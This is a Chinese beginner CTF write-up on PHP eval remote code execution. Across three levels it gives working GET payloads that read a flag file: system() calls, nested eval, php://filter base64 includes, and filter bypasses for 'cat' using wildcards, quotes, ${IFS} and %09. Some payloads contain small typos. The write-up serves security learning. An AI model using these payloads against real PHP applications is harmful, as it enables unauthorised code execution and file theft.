网安入门22——RCE(代码执行Eval)

RCE(remote command/code execute ,远程命令执行)
命令执行一般发生在远程,故被称为远程命令执行。
分为远程命令执行ping和远程代码执行evel。

PHP eval() 函数

PHP eval() 函数

rce1(引入)

拿到这道题,是一个白盒代码审计
目标语句是拿到tmp目录下的flag.php
让系统执行以下语句
cat /tmp/flag.php
题目
error_reporting() 使程序不报错,降低敏感性
preg_match() 用来正则匹配,检测c中有没有flag
eval() 执行c命令,c是由get传入的参数
于是就可以先用phpinfo()测试一下
当然还可以执行系统命令system,通配符绕过
c=system("cat /tmp/fla?.php");
在这里插入图片描述
还可以用嵌套eval来绕过flag的正则匹配,原理在于preg_match只对c做了过滤,没对w进行过滤
c=eval($_GET[w]);&w=system("cat /tmp/flag.php");
在这里插入图片描述
拼接源代码后,eval($ _GET[w]);)会按照php代码来执行:在这里插入图片描述
当然也可以直接c=system()
c=system($_GET[w]);&w=cat /tmp/flag.php在这里插入图片描述还可以用文件包含的伪协议命令来读文件
文件包含payload:
?filename=php:/filter/convert.base64-encode/resource=文件路径.php
本关paylaod:
c=include(&_GET[w]);&w=php:/filter/convert.base64-encode/resource=/tmp/flag.php
在这里插入图片描述
还可以用反引号,但是没有自带回显,需要加上echo
在这里插入图片描述

rce2(变形)

这次过滤更加严格,我们先用二次eval
c=eval($_GET[w]);&w=phpinfo();
c=eval($_GET[w]);&w=system(cat /tmp/flag.php)
在这里插入图片描述
反应号也可以使用,但是绕过空格不能用$IFS$9,此时是代码层面,不是操作系统,可以使用%09
在这里插入图片描述
然后cat被过滤了,可以用more,跟tac
在这里插入图片描述

rce3

这关代码过滤的更多了
在这里插入图片描述
关键在于怎么绕过cat
在这里插入图片描述
可以使用之前的单引号绕过
c=c'a't${IFS}/tmp/fla?.php
如果直接c?t,系统的全局变量无法发挥作用,找不到这个文件
这里来一种新方式,想给cat用通配符,就要用cat的绝对路劲
bin目录下有很多可执行的文件
在这里插入图片描述

c=/bin/c?t${IFS}/tmp/fla?.php
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

挑不动

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值